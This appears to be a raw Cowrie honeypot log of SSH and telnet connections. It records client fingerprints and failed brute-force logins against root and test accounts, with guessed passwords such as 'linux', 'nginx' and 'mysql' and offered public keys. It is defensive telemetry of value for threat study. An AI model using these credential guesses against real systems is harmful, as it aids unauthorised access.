{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:26.962582Z","src_ip":"45.147.249.81","session":"ac6454310bdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:27.283797Z","src_ip":"45.147.249.81","session":"ac6454310bdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:28.359075Z","src_ip":"45.147.249.81","session":"ac6454310bdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:31.384088Z","src_ip":"120.48.55.108","session":"602e45f54154","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"32.2","message":"Connection lost after 32.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:32.614304Z","src_ip":"120.48.55.108","session":"602e45f54154","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.55.108","src_port":49494,"dst_ip":"10.17.0.5","dst_port":22,"session":"058185c55101","protocol":"ssh","message":"New connection: 120.48.55.108:49494 (10.17.0.5:22) [session: 058185c55101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:32.872183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:32.928690Z","src_ip":"120.48.55.108","session":"058185c55101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:33.224630Z","src_ip":"120.48.55.108","session":"058185c55101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:36.027150Z","src_ip":"120.48.55.108","session":"058185c55101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.136.174","src_port":56576,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1e3dd11d89f","protocol":"ssh","message":"New connection: 176.65.136.174:56576 (10.17.0.5:22) [session: b1e3dd11d89f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:37.143884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:37.153167Z","src_ip":"176.65.136.174","session":"b1e3dd11d89f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:37.256408Z","src_ip":"176.65.136.174","session":"b1e3dd11d89f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:37.292368Z","src_ip":"120.48.55.108","session":"058185c55101","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:ea:69:39:5d:55:ad:a1:a6:0f:02:6b:f3:86:09:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHaCgm1OWu6l1zS9my7JXHGG8hnz1AFBAucCDWorWMfI5UKFvw1ptuVTnqK19yfQpguXGHuArfmEC0cjAt/CAK68w0WDyyUZPFKdweQBiPtKw+Ym2lLMUXmBK4AYwY0SP0mfnl5E4BLx7TUHhum58iiilybpITe8FV4mOIhMNjIKupkX8YaXhfK0zoK/I19M38dxOXTYhYsgBdYa+HcG8l0k0tzYy8FPz3VjlGTA+5xWmxH29CXw8Ag4WTEz+iVPaSRR1yxlNtxhkDuUu44pEBuNiZA5/74WI8OWRN28ESYF5ajsDsuIwdDHVEGNMpy5v4PF9d6sVLMf6CNNnef6JP23K7bOiXiMdJmI1yE5e4CBZUXPsQoWUs4icu/WAXuqMv3jkEXB/nR9zoLK99FgiOpQ+9bvzR0l3ikqr3F+BEkx/hASybmfKRwnx6FpP4oG516j/62A5BEfXRv8VTW9CytzpJ5mhDSOuZFr+fRTh5dXDN70kcBjC716OFnmld7xfy6K3b4oPRxnsfqAopZ9ld1PlagEaUmLfeCww/RDhnvkj5Gz38LOdKe0WnxS27J1gWvfoueVCp3iSZfk3A2LroIqhjO156FELoFLUyg8v7Iwekh/l26JCLWWdus9CvKhAqEp9utd53rWHN2A1cpu+ECFLRrq/Vt72OO4zr0iRxXQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:ea:69:39:5d:55:ad:a1:a6:0f:02:6b:f3:86:09:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:37.744606Z","src_ip":"176.65.136.174","session":"b1e3dd11d89f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:ea:69:39:5d:55:ad:a1:a6:0f:02:6b:f3:86:09:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDHaCgm1OWu6l1zS9my7JXHGG8hnz1AFBAucCDWorWMfI5UKFvw1ptuVTnqK19yfQpguXGHuArfmEC0cjAt/CAK68w0WDyyUZPFKdweQBiPtKw+Ym2lLMUXmBK4AYwY0SP0mfnl5E4BLx7TUHhum58iiilybpITe8FV4mOIhMNjIKupkX8YaXhfK0zoK/I19M38dxOXTYhYsgBdYa+HcG8l0k0tzYy8FPz3VjlGTA+5xWmxH29CXw8Ag4WTEz+iVPaSRR1yxlNtxhkDuUu44pEBuNiZA5/74WI8OWRN28ESYF5ajsDsuIwdDHVEGNMpy5v4PF9d6sVLMf6CNNnef6JP23K7bOiXiMdJmI1yE5e4CBZUXPsQoWUs4icu/WAXuqMv3jkEXB/nR9zoLK99FgiOpQ+9bvzR0l3ikqr3F+BEkx/hASybmfKRwnx6FpP4oG516j/62A5BEfXRv8VTW9CytzpJ5mhDSOuZFr+fRTh5dXDN70kcBjC716OFnmld7xfy6K3b4oPRxnsfqAopZ9ld1PlagEaUmLfeCww/RDhnvkj5Gz38LOdKe0WnxS27J1gWvfoueVCp3iSZfk3A2LroIqhjO156FELoFLUyg8v7Iwekh/l26JCLWWdus9CvKhAqEp9utd53rWHN2A1cpu+ECFLRrq/Vt72OO4zr0iRxXQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:37.748689Z","src_ip":"176.65.136.174","session":"b1e3dd11d89f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"de:4c:7b:6e:8b:65:4f:c6:0b:d9:30:15:d2:37:f9:92","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAI89tkNNRfobAl/647pn54cTfuu7Qip3+Lo0e3cH5KLDnezzq4wWn3vUtYzTkBbEbsQy1pYKtlQYA18EmD/pNTUbJUQPXiEl3ZRcwI7wYuzQMZwgzSC+Hfl0gPMZwOKl3lmdoF9xfmp3lCPzNhuPtRx/HO61NURqc4WkktMbIqyFAAAAFQC4KShKi/KjeuBcvJcnFsGHSrp4XwAAAIBu41v+iRQB1wayazvxWsEZh35ayiuDFxdrgoOzs/t2/q8ZZ4U+ZCqhcWcaDdrmi2/dTIcONjRU6o4vq40YWC7kvZp2jZhB9vxeTdL1Ddd4Etb10zRLbqQI5Z3Idq7arqVgHfAdVAt2AB4O/EOWXC4y6fmFjOl6mDfDSGdwP1Z/DwAAAIBIp5pcjZH/5H3QBZwqdHacoc1SEZXZ/ldztf/SLgmH3tYdrksXzSXvQ9Jzv6zRkNmwz+oJn5mhnJPiKz9jAk/HfZUZNkCEA4y9+5o/yJ2l1Syo4NyOdEVO58JfR4rv/N4ZoiYchN3KIMTAbVMg5i+3Ktg4V+h/fuR/znpjQaw8mg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint de:4c:7b:6e:8b:65:4f:c6:0b:d9:30:15:d2:37:f9:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:37.850953Z","src_ip":"176.65.136.174","session":"b1e3dd11d89f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"de:4c:7b:6e:8b:65:4f:c6:0b:d9:30:15:d2:37:f9:92","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAI89tkNNRfobAl/647pn54cTfuu7Qip3+Lo0e3cH5KLDnezzq4wWn3vUtYzTkBbEbsQy1pYKtlQYA18EmD/pNTUbJUQPXiEl3ZRcwI7wYuzQMZwgzSC+Hfl0gPMZwOKl3lmdoF9xfmp3lCPzNhuPtRx/HO61NURqc4WkktMbIqyFAAAAFQC4KShKi/KjeuBcvJcnFsGHSrp4XwAAAIBu41v+iRQB1wayazvxWsEZh35ayiuDFxdrgoOzs/t2/q8ZZ4U+ZCqhcWcaDdrmi2/dTIcONjRU6o4vq40YWC7kvZp2jZhB9vxeTdL1Ddd4Etb10zRLbqQI5Z3Idq7arqVgHfAdVAt2AB4O/EOWXC4y6fmFjOl6mDfDSGdwP1Z/DwAAAIBIp5pcjZH/5H3QBZwqdHacoc1SEZXZ/ldztf/SLgmH3tYdrksXzSXvQ9Jzv6zRkNmwz+oJn5mhnJPiKz9jAk/HfZUZNkCEA4y9+5o/yJ2l1Syo4NyOdEVO58JfR4rv/N4ZoiYchN3KIMTAbVMg5i+3Ktg4V+h/fuR/znpjQaw8mg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:37.854793Z","src_ip":"176.65.136.174","session":"b1e3dd11d89f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:41:87:58:d8:3a:10:92:56:98:ee:42:b2:89:12:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpUAR5YzlgdBdZ7h5tjoKVJll2J3FN+ON9sfndG1VYcTrRI53QXIlS//L09My/PawrQ0F3ESBSt9WaRniTFnEiDi4dEZ8dixOzWzVlaIyWdV84Z1guIsGLG3AHPbp4NvYS5zzDIz/nKifRiCWbyt/UpE3B560R93kQV/j6ETaYAzqylfWLuqJOtwgzSaA4UyDdkBHFf+tl2LDOapG/2zIRHfIrwYHsu3hO26khGZcJn3leN2DKVtRiCX2oQtVb6MLdB0CwtSVMv/MzvkU11zXCppz8lvLEoWpPdoAGA7Nznnoo/MRSNwKsJR5NcRbnVWnXB8SW+8Vq90RKXH0rscI5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 67:41:87:58:d8:3a:10:92:56:98:ee:42:b2:89:12:4c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:37.957170Z","src_ip":"176.65.136.174","session":"b1e3dd11d89f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:41:87:58:d8:3a:10:92:56:98:ee:42:b2:89:12:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpUAR5YzlgdBdZ7h5tjoKVJll2J3FN+ON9sfndG1VYcTrRI53QXIlS//L09My/PawrQ0F3ESBSt9WaRniTFnEiDi4dEZ8dixOzWzVlaIyWdV84Z1guIsGLG3AHPbp4NvYS5zzDIz/nKifRiCWbyt/UpE3B560R93kQV/j6ETaYAzqylfWLuqJOtwgzSaA4UyDdkBHFf+tl2LDOapG/2zIRHfIrwYHsu3hO26khGZcJn3leN2DKVtRiCX2oQtVb6MLdB0CwtSVMv/MzvkU11zXCppz8lvLEoWpPdoAGA7Nznnoo/MRSNwKsJR5NcRbnVWnXB8SW+8Vq90RKXH0rscI5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:37.960535Z","src_ip":"176.65.136.174","session":"b1e3dd11d89f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:db:3c:7d:be:d5:66:80:a3:94:c5:9c:aa:8c:54:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiL52NTWZvPNnnCNlQuj4EsAb8GTK/zxdU+yLAizY0yl2DI+DjOZBlOeWpgyOKeUexXHIQvNZJ/XIdU0P4/clSza+vw1bBXSJGAsMmSegF/hbeEtBRAVrDKC7rnDGrEzeSwqaz/Me3FrkECyagOLMgZYKuOTO/GQiq64zGHjIIWDAaRKr0LrA0YwVWWkssU3v6WUSJrWs47BPWPD46tMOaZz1vNwqUfOe/Y23H9sTYLSxnUqDlMlCicH0teX0pSdBIN3K30ZVomEnJBtJjDqGH+4eO55rplT4MoMLAvqLJFECAC/zay08evS0GUkKNhfEmpc6J1ju+dXWrznzy35mP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:db:3c:7d:be:d5:66:80:a3:94:c5:9c:aa:8c:54:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:38.065274Z","src_ip":"176.65.136.174","session":"b1e3dd11d89f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:db:3c:7d:be:d5:66:80:a3:94:c5:9c:aa:8c:54:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCiL52NTWZvPNnnCNlQuj4EsAb8GTK/zxdU+yLAizY0yl2DI+DjOZBlOeWpgyOKeUexXHIQvNZJ/XIdU0P4/clSza+vw1bBXSJGAsMmSegF/hbeEtBRAVrDKC7rnDGrEzeSwqaz/Me3FrkECyagOLMgZYKuOTO/GQiq64zGHjIIWDAaRKr0LrA0YwVWWkssU3v6WUSJrWs47BPWPD46tMOaZz1vNwqUfOe/Y23H9sTYLSxnUqDlMlCicH0teX0pSdBIN3K30ZVomEnJBtJjDqGH+4eO55rplT4MoMLAvqLJFECAC/zay08evS0GUkKNhfEmpc6J1ju+dXWrznzy35mP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:38.069551Z","src_ip":"176.65.136.174","session":"b1e3dd11d89f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:c4:6b:55:e9:17:84:5d:53:33:79:4a:1e:7d:57:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC//r2mzcPFqc0A0P5H/nkPYE4vGmPqLVmIhvhA0OYaE/7UJKGXVgrmB4ujZy1pRtMhMotrnJQLMFQ/ESfn6XU0a7Ea7K+ek8qZATpBctAQK4YvnEV0pJEfCCFM2rgTcLicncvjNieUSVEbCZfBvIljLxn0cNN4i4ZeKNeZTsLze63CzFSG+jvr+Unk5ZP3DnipetOCIRQl70rMx3JsNivzcCVC4DnzZvI88dJn7M/H59S7E5+rpVqcNpFmbbDW7xzL45b8EVtZ5Xmbndj3Otxai7pD4roDW/BRCQm6aaoSFg6k2+di4XaCWGpdQS9MI3KD6XqLjsrA9E+c1jp+e2E3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:c4:6b:55:e9:17:84:5d:53:33:79:4a:1e:7d:57:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:38.172208Z","src_ip":"176.65.136.174","session":"b1e3dd11d89f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:c4:6b:55:e9:17:84:5d:53:33:79:4a:1e:7d:57:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC//r2mzcPFqc0A0P5H/nkPYE4vGmPqLVmIhvhA0OYaE/7UJKGXVgrmB4ujZy1pRtMhMotrnJQLMFQ/ESfn6XU0a7Ea7K+ek8qZATpBctAQK4YvnEV0pJEfCCFM2rgTcLicncvjNieUSVEbCZfBvIljLxn0cNN4i4ZeKNeZTsLze63CzFSG+jvr+Unk5ZP3DnipetOCIRQl70rMx3JsNivzcCVC4DnzZvI88dJn7M/H59S7E5+rpVqcNpFmbbDW7xzL45b8EVtZ5Xmbndj3Otxai7pD4roDW/BRCQm6aaoSFg6k2+di4XaCWGpdQS9MI3KD6XqLjsrA9E+c1jp+e2E3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:38.175668Z","src_ip":"176.65.136.174","session":"b1e3dd11d89f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:38.278088Z","src_ip":"176.65.136.174","session":"b1e3dd11d89f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.816306829452515,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:42.632855Z","src_ip":"135.148.14.151","session":"88eaafec9233","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.55.108","src_port":53338,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e6d260fa8ba","protocol":"ssh","message":"New connection: 120.48.55.108:53338 (10.17.0.5:22) [session: 7e6d260fa8ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:43.622868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:43.627688Z","src_ip":"120.48.55.108","session":"7e6d260fa8ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.17968821525574,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:48.709644Z","src_ip":"135.148.14.151","session":"efb1326aaef3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:50.277091Z","src_ip":"120.48.55.108","session":"7e6d260fa8ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":45136,"dst_ip":"159.203.135.109","dst_port":23,"session":"8fb5d8916db6","protocol":"telnet","message":"New connection: 135.148.14.151:45136 (159.203.135.109:23) [session: 8fb5d8916db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:52.730130Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:54.165926Z","src_ip":"120.48.55.108","session":"7e6d260fa8ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.771925926208496,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:54.255045Z","src_ip":"135.148.14.151","session":"e7f408d07466","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:55.974917Z","src_ip":"120.48.55.108","session":"7e6d260fa8ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.55.108","src_port":42882,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9fc126ea4e0","protocol":"ssh","message":"New connection: 120.48.55.108:42882 (10.17.0.5:22) [session: f9fc126ea4e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:59.189257Z"}
{"eventid":"cowrie.session.closed","duration":41.262471437454224,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:59.698868Z","src_ip":"135.148.14.151","session":"387294bd9324","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.41837501525879,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T22:41:59.907622Z","src_ip":"135.148.14.151","session":"d2a437b7258d","protocol":"telnet"}
